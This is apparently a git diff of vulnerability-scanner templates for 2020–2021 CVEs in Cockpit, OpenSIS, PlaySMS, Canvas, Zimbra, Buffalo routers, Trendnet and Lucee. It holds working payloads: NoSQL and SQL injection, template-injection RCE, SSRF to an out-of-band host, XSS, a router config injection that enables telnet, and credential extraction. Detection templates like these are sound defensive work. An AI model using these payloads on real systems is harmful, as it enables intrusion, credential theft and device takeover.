- Content-Type: application/json - body: | - { - "user": { - "$func": "var_dump" + Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller. + remediation: | + Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability. + reference: + - https://swarm.ptsecurity.com/rce-cockpit-cms/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-35847 + - https://getcockpit.com/ + - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 + - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-35847 + cwe-id: CWE-89 + epss-score: 0.74725 + epss-percentile: 0.9784 + cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: agentejo + product: cockpit + shodan-query: http.favicon.hash:688609340 + tags: cve,cve2020,nosqli,sqli,cockpit,injection + +http: + - raw: + - | + POST /auth/requestreset HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + { + "user": { + "$func": "var_dump" + } } - } + - | + POST /auth/requestreset HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + { + "user": { + "$func": "nonexistent_function" + } + } + + matchers-condition: and matchers: - type: regex - part: body + part: body_1 + regex: + - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' + + - type: regex + part: body_1 + negative: true + regex: + - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"' + + - type: regex + part: body_2 + negative: true regex: - - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"' + - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' +# digest: 4a0a004730450221008cab8b3ba533fe40b803853282d9336fd35428136c67384464f175889f4a3031022024742291f23e7150954962de20b91b3e0a71380a1dfb12eabc649be8915b2cc6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-35848.yaml b/poc/cve/CVE-2020-35848.yaml index 5d48c3664f..9e693b11c7 100644 --- a/poc/cve/CVE-2020-35848.yaml +++ b/poc/cve/CVE-2020-35848.yaml @@ -1,37 +1,21 @@ id: CVE-2020-35848 info: - name: Agentejo Cockpit <0.12.0 - NoSQL Injection + name: Cockpit prior to 0.12.0 NoSQL injection in /auth/newpassword author: dwisiswant0 severity: critical - description: Agentejo Cockpit prior to 0.12.0 is vulnerable to NoSQL Injection via the newpassword method of the Auth controller, which is responsible for displaying the user password reset form. - remediation: | - Upgrade Agentejo Cockpit to version 0.12.0 or later to mitigate this vulnerability. - reference: - - https://swarm.ptsecurity.com/rce-cockpit-cms/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-35848 - - https://getcockpit.com/ - - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 - - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-35848 - cwe-id: CWE-89 - epss-score: 0.71273 - epss-percentile: 0.97736 - cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: agentejo - product: cockpit - tags: cve,cve2020,nosqli,sqli,cockpit,injection + description: | + newpassword method of the Auth controller, + which is responsible for displaying the user password reset form. + reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ + tags: cve,cve2020,nosqli,sqli -http: +requests: - method: POST path: - "{{BaseURL}}/auth/newpassword" - + headers: + Content-Type: application/json body: | { "token": { @@ -39,11 +23,8 @@ http: } } - headers: - Content-Type: application/json matchers: - type: regex part: body regex: - - 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"' -# digest: 490a00463044022075d03d73e66908e21caf87fc35087b14321fa4499bc70896a4d1b4bced28944b02207028b8d5471341bcff9a320cb4fd8c6666f86a676bb4956c6553c8030e51cc38:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"' \ No newline at end of file diff --git a/poc/cve/CVE-2020-36365.yaml b/poc/cve/CVE-2020-36365.yaml index 837a45b8d5..edb7f1ea70 100644 --- a/poc/cve/CVE-2020-36365.yaml +++ b/poc/cve/CVE-2020-36365.yaml @@ -1,39 +1,27 @@ id: CVE-2020-36365 - info: - name: Smartstore <4.1.0 - Open Redirect + name: Smartstore < 4.1.0 - Open redirect author: 0x_Akoko severity: medium - description: Smartstore (aka "SmartStoreNET") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Upgrade Smartstore to version 4.1.0 or later to fix the open redirect vulnerability. + description: Smartstore (aka SmartStoreNET) before 4.1.0 allows CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit open redirect. reference: - https://github.com/smartstore/SmartStoreNET/issues/2113 + - https://www.cvedetails.com/cve/CVE-2020-36365 - https://github.com/smartstore/SmartStoreNET - - https://nvd.nist.gov/vuln/detail/CVE-2020-36365 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2020-36365 cwe-id: CWE-601 - epss-score: 0.00331 - epss-percentile: 0.67916 - cpe: cpe:2.3:a:smartstore:smartstorenet:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: smartstore - product: smartstorenet shodan-query: http.html:'content="Smartstore' tags: cve,cve2020,redirect,smartstore - -http: +requests: - method: GET path: - - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.interact.sh' - + - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.example.com' matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4a0a00473045022020339f035de2545222ef7cc6e3d7ce53d48e7f26f4579cfd0297c6bfd0e8a1da022100cd9f504426f98a55fb2252975163ca4285e143ee4545ccd333b8d084dced42dd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/poc/cve/CVE-2020-36510.yaml b/poc/cve/CVE-2020-36510.yaml index adbb20d99d..e9482c4450 100644 --- a/poc/cve/CVE-2020-36510.yaml +++ b/poc/cve/CVE-2020-36510.yaml @@ -1,35 +1,50 @@ id: CVE-2020-36510 + info: - name: 15Zine < 3.3.0 - Reflected Cross-Site Scripting + name: WordPress 15Zine <3.3.0 - Cross-Site Scripting author: veshraj severity: medium description: | - The 15Zine Wordpress theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action, leading to a reflected cross-site scripting. + WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action. + remediation: | + Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36510 + - https://nvd.nist.gov/vuln/detail/CVE-2020-36510 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2020-36510 cwe-id: CWE-79 + epss-score: 0.00106 + epss-percentile: 0.4302 + cpe: cpe:2.3:a:codetipi:15zine:*:*:*:*:*:wordpress:*:* metadata: - verified: false - tags: xss,wordpress,wp-theme,wp,cve,cve2020 -requests: + verified: "false" + max-request: 1 + vendor: codetipi + product: 15zine + framework: wordpress + tags: xss,wordpress,wp-theme,wp,cve,cve2020,wpscan + +http: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and matchers: - type: word part: body words: - "" + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4a0a0047304502201513e92157ce7d33f5a56d8d16ecc3eda39b93f86e321ef8f0e38a521a1662b6022100e364e8defc6316a35d141b50e547a43239ef0c3f07bce7f05b31343eafe9b563:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-5775.yaml b/poc/cve/CVE-2020-5775.yaml index b3fc572a65..5a62eef468 100644 --- a/poc/cve/CVE-2020-5775.yaml +++ b/poc/cve/CVE-2020-5775.yaml @@ -1,37 +1,24 @@ id: CVE-2020-5775 - info: - name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery + name: Canvas LMS Unauthenticated Blind SSRF author: alph4byt3 severity: medium - description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability. + description: Server-Side Request Forgery in Canvas LMS 2020-07-29 allows a remote, unauthenticated attacker to cause the Canvas application to perform HTTP GET requests to arbitrary domains. reference: - - https://www.tenable.com/security/research/tra-2020-49 - https://nvd.nist.gov/vuln/detail/CVE-2020-5775 + - https://www.tenable.com/security/research/tra-2020-49 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N cvss-score: 5.8 cve-id: CVE-2020-5775 cwe-id: CWE-918 - epss-score: 0.00194 - epss-percentile: 0.57103 - cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: instructure - product: canvas_learning_management_service - tags: cve,cve2020,ssrf,oast,blind,tenable - -http: + tags: cve,cve2020,ssrf,oast,blind +requests: - method: GET path: - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo" - matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" -# digest: 4a0a004730450220168afd69fe17152a26cb534a6f346a46fd1bc839c0854fdd4fec5f2bf4c99cc5022100ab9d942200955d77febb08b389a30acaa43ac746cb7a4bbe3954ae6e5e73523e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-6637.yaml b/poc/cve/CVE-2020-6637.yaml index f0b5e36375..1f16d09d4d 100644 --- a/poc/cve/CVE-2020-6637.yaml +++ b/poc/cve/CVE-2020-6637.yaml @@ -1,45 +1,62 @@ -id: CVE-2020-6637 - -info: - name: OpenSIS v7.3 unauthenticated SQL injection - author: pikpikcu - severity: critical - description: openSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php. - tags: cve,cve2020,sqli,opensis - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-6637 - - https://cinzinga.com/CVE-2020-6637/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-6637 - cwe-id: CWE-89 - -requests: - - method: POST - path: - - '{{BaseURL}}/account/index.php' - - '{{BaseURL}}/opensis/index.php' - - '{{BaseURL}}/index.php' - headers: - Content-Type: application/x-www-form-urlencoded - body: | - USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log= - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'SQL STATEMENT:' - - "UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')" - condition: and - - type: word - part: header - words: - - "text/html" - condition: and - - - type: status - status: - - 200 +id: CVE-2020-6637 + +info: + name: OpenSIS 7.3 - SQL Injection + author: pikpikcu + severity: critical + description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php. + remediation: | + Apply the latest security patch or upgrade to a patched version of OpenSIS. + reference: + - https://cinzinga.com/CVE-2020-6637/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-6637 + - https://sourceforge.net/projects/opensis-ce/files/ + - https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8 + - https://opensis.com/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-6637 + cwe-id: CWE-89 + epss-score: 0.02003 + epss-percentile: 0.8758 + cpe: cpe:2.3:a:os4ed:opensis:7.3:*:*:*:community:*:*:* + metadata: + max-request: 3 + vendor: os4ed + product: opensis + shodan-query: http.title:"openSIS" + tags: cve,cve2020,sqli,opensis + +http: + - method: POST + path: + - '{{BaseURL}}/account/index.php' + - '{{BaseURL}}/opensis/index.php' + - '{{BaseURL}}/index.php' + + body: | + USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log= + + headers: + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'SQL STATEMENT:' + - "UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')" + condition: and + + - type: word + part: header + words: + - "text/html" + condition: and + + - type: status + status: + - 200 +# digest: 4a0a0047304502200e97ab8fc5962cebd694b94098aad3fe066445ab0bef939b013dc728a761218d022100d3fa499d915d803a7dcdaaba519a25519718a7fe6d1b8fbac1b6ee667e06715c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-7796.yaml b/poc/cve/CVE-2020-7796.yaml index e5ff7a2d4a..ca52508219 100644 --- a/poc/cve/CVE-2020-7796.yaml +++ b/poc/cve/CVE-2020-7796.yaml @@ -1,40 +1,24 @@ id: CVE-2020-7796 - info: - name: Zimbra Collaboration Suite < 8.8.15 Patch 7 - Server-Side Request Forgery + name: Zimbra Collaboration Suite (ZCS) - SSRF author: gy741 severity: critical - description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 is susceptible to server-side request forgery when WebEx zimlet is installed and zimlet JSP is enabled. - remediation: | - Apply the latest patch or upgrade to Zimbra Collaboration Suite version 8.8.15 Patch 7 or higher to mitigate this vulnerability. + description: Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 allows SSRF when WebEx zimlet is installed and zimlet JSP is enabled. reference: - https://www.adminxe.com/2183.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-7796 - - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7 + tags: cve,cve2020,zimbra,ssrf,oast classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 + cvss-score: 9.80 cve-id: CVE-2020-7796 cwe-id: CWE-918 - epss-score: 0.72496 - epss-percentile: 0.97765 - cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: synacor - product: zimbra_collaboration_suite - tags: cve,cve2020,zimbra,ssrf,oast - -http: +requests: - raw: - | GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1 Host: {{Hostname}} - matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - -# digest: 490a004630440220447b23a770eac1d38ef2710f59b9706d4a01e695b82ad7a891dd25c64dd3c8cf0220607cb0aaa230520fcfa287f22c0f7751935342681be10cb8195bf28acd066d29:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2020-8644.yaml b/poc/cve/CVE-2020-8644.yaml index 9f91299c9c..3c7a8bb0a4 100644 --- a/poc/cve/CVE-2020-8644.yaml +++ b/poc/cve/CVE-2020-8644.yaml @@ -5,24 +5,34 @@ info: author: dbrwsky severity: critical description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template. + remediation: | + Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability. reference: - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ - https://nvd.nist.gov/vuln/detail/CVE-2020-8644 + - http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html + - https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-8644 - cwe-id: CWE-74 - tags: cve,cve2020,ssti,playsms,rce,unauth,kev + cwe-id: CWE-94 + epss-score: 0.95801 + epss-percentile: 0.99275 + cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: playsms + product: playsms + tags: unauth,kev,packetstorm,cve,cve2020,ssti,playsms,rce -requests: +http: - raw: - | GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} - - | POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1 Host: {{Hostname}} @@ -31,21 +41,11 @@ requests: X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password= - cookie-reuse: true - redirects: true + host-redirects: true max-redirects: 2 - extractors: - - type: xpath - name: csrf - part: body - attribute: value - internal: true - xpath: - - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input matchers-condition: and matchers: - - type: word part: body words: @@ -55,4 +55,12 @@ requests: status: - 200 -# Enhanced by mp on 2022/07/07 + extractors: + - type: xpath + name: csrf + internal: true + xpath: + - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input + attribute: value + part: body +# digest: 4a0a0047304502207a3845b81ef92d916a3d184ba266803695dc47a59e5bb370c13ba04bc0b338ea022100a046ec628859d6fc8add8220f53d24a0821afaa082f0a4395b64c79a161a6e77:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2020-9490.yaml b/poc/cve/CVE-2020-9490.yaml index 583cee2db1..327582dc0b 100644 --- a/poc/cve/CVE-2020-9490.yaml +++ b/poc/cve/CVE-2020-9490.yaml @@ -1,11 +1,9 @@ id: CVE-2020-9490 - info: - name: CVE-2020-9490 + name: Apache HTTP Server 2.4.20-2.4.43 - HTTP/2 Cache-Digest DoS + author: philippedelteil severity: high description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers. - author: philippedelteil - tags: cve,cve2020,apache,dos reference: - https://httpd.apache.org/security/vulnerabilities_24.html - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030 @@ -13,15 +11,14 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2020-9490 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.50 + cvss-score: 7.5 cve-id: CVE-2020-9490 cwe-id: CWE-444 - + tags: cve,cve2020,apache,dos requests: - method: GET path: - "{{BaseURL}}" - matchers: - type: regex regex: diff --git a/poc/cve/CVE-2021-20031.yaml b/poc/cve/CVE-2021-20031.yaml index cd8974e4a0..503a922f30 100644 --- a/poc/cve/CVE-2021-20031.yaml +++ b/poc/cve/CVE-2021-20031.yaml @@ -1,48 +1,35 @@ id: CVE-2021-20031 - info: - name: SonicWall SonicOS 7.0 - Open Redirect + name: Sonicwall SonicOS 7.0 - Host Header Injection author: gy741 severity: medium - description: SonicWall SonicOS 7.0 contains an open redirect vulnerability. The values of the Host headers are implicitly set as trusted. An attacker can spoof a particular host header, allowing the attacker to render arbitrary links, obtain sensitive information, modify data, execute unauthorized operations. and/or possibly redirect a user to a malicious site. - remediation: | - Apply the latest security patch or update provided by SonicWall to mitigate the vulnerability. + description: A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack reference: - https://www.exploit-db.com/exploits/50414 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20031 - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019 - http://packetstormsecurity.com/files/164502/Sonicwall-SonicOS-7.0-Host-Header-Injection.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-20031 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-20031 cwe-id: CWE-601 - epss-score: 0.01202 - epss-percentile: 0.8361 - cpe: cpe:2.3:o:sonicwall:sonicos:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: sonicwall - product: sonicos - google-query: inurl:"auth.html" intitle:"SonicWall" - tags: sonicwall,redirect,edb,packetstorm,cve,cve2021 - -http: + google-dork: inurl:"auth.html" intitle:"SonicWall" + tags: cve,cve2021,sonicwall,redirect +requests: - raw: - | GET / HTTP/1.1 Host: {{randstr}}.tld - matchers-condition: and matchers: - type: word - part: body words: - 'https://{{randstr}}.tld/auth.html' - 'Please be patient as you are being re-directed' + part: body condition: and - - type: status status: - 200 -# digest: 4b0a00483046022100fc4466ab7a44207bc63c7731d774d1e3408ee139ad208bec2d76f21385e4f5d8022100b4e555491190b9d390000527685c7dfab35f29cd66630c62c13bbef7b49d5110:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-20091.yaml b/poc/cve/CVE-2021-20091.yaml index b44ba7b2e1..e1b2af0c48 100644 --- a/poc/cve/CVE-2021-20091.yaml +++ b/poc/cve/CVE-2021-20091.yaml @@ -1,10 +1,13 @@ id: CVE-2021-20091 + info: name: Buffalo WSR-2533DHPL2 - Configuration File Injection author: gy741,pdteam,parth severity: high description: | The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution. + remediation: | + Apply the latest firmware update provided by Buffalo to fix the configuration file injection vulnerability. reference: - https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild - https://www.tenable.com/security/research/tra-2021-13 @@ -14,8 +17,16 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-20091 - tags: cve,cve2021,buffalo,firmware,iot -requests: + epss-score: 0.00928 + epss-percentile: 0.81194 + cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: buffalo + product: wsr-2533dhpl2-bk_firmware + tags: cve,cve2021,buffalo,firmware,iot,tenable + +http: - raw: - | GET /images/..%2finfo.html HTTP/1.1 @@ -28,21 +39,23 @@ requests: Content-Type: application/x-www-form-urlencoded action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4 + matchers-condition: and matchers: - type: word part: header words: - "/Success.htm" + - type: status status: - 302 + extractors: - type: regex name: httoken - internal: true group: 1 regex: - 'base64\,(.*?)" border=' - -# Enhanced by mp on 2022/04/12 + internal: true +# digest: 4b0a00483046022100a9d0218e666d812c6c4a2daa70e18d141da012ad397defe99a448a60653f6beb022100e942d25e288d94f5770cc5263e99a2179a7cdb51cd6b835ae0560e391f7b858f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-20150.yaml b/poc/cve/CVE-2021-20150.yaml index 116931e038..9f74b28259 100644 --- a/poc/cve/CVE-2021-20150.yaml +++ b/poc/cve/CVE-2021-20150.yaml @@ -1,12 +1,9 @@ id: CVE-2021-20150 - info: name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure author: gy741 severity: medium description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page. - remediation: | - Update the router firmware to the latest version to fix the vulnerability. reference: - https://www.tenable.com/security/research/tra-2021-54 - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 @@ -14,27 +11,22 @@ info: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-20150 - cwe-id: CWE-306 - epss-score: 0.14411 - epss-percentile: 0.95186 - cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:* + cwe-id: CWE-287 metadata: - max-request: 1 - vendor: trendnet - product: tew-827dru_firmware shodan-query: http.html:"TEW-827DRU" - tags: disclosure,router,tenable,cve,cve2021,trendnet - -http: + tags: cve,cve2021,trendnet,disclosure,router +requests: - raw: - | POST /apply_sec.cgi HTTP/1.1 Host: {{Hostname}} action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp - matchers-condition: and matchers: + - type: status + status: + - 200 - type: word part: body words: @@ -43,21 +35,16 @@ http: - 'ftp_permission' - 'TEW-827DRU' condition: and - - type: word part: header words: - "text/html" - - - type: status - status: - - 200 - extractors: - type: regex + part: body name: password group: 1 regex: - '' - part: body -# digest: 490a00463044022028b766a9fb8ebb5f7654922b9a89df14cce9450d3a749ab04e45fc9bfa0e068202200ea960b744a65dcb3184dbbe1e5d0770cbcf8cb5747d5448e190cb1127a5f7aa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/04/05 diff --git a/poc/cve/CVE-2021-21307.yaml b/poc/cve/CVE-2021-21307.yaml index 53b683b142..647c52b28b 100644 --- a/poc/cve/CVE-2021-21307.yaml +++ b/poc/cve/CVE-2021-21307.yaml @@ -1,22 +1,32 @@ id: CVE-2021-21307 info: - name: Remote Code Exploit in Lucee Admin + name: Lucee Admin - Remote Code Execution author: dhiyaneshDk severity: critical - description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator. + description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability. + remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator. reference: - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md - https://nvd.nist.gov/vuln/detail/CVE-2021-21307 - tags: cve,cve2021,rce,lucee,adobe + - http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response + - https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 + cvss-score: 9.8 cve-id: CVE-2021-21307 cwe-id: CWE-862 + epss-score: 0.97292 + epss-percentile: 0.99839 + cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: lucee + product: lucee_server + tags: cve,cve2021,rce,lucee,adobe -requests: +http: - raw: - | POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1 @@ -52,11 +62,7 @@ requests:
-        #HTMLCodeFormat(myVar)#
-        
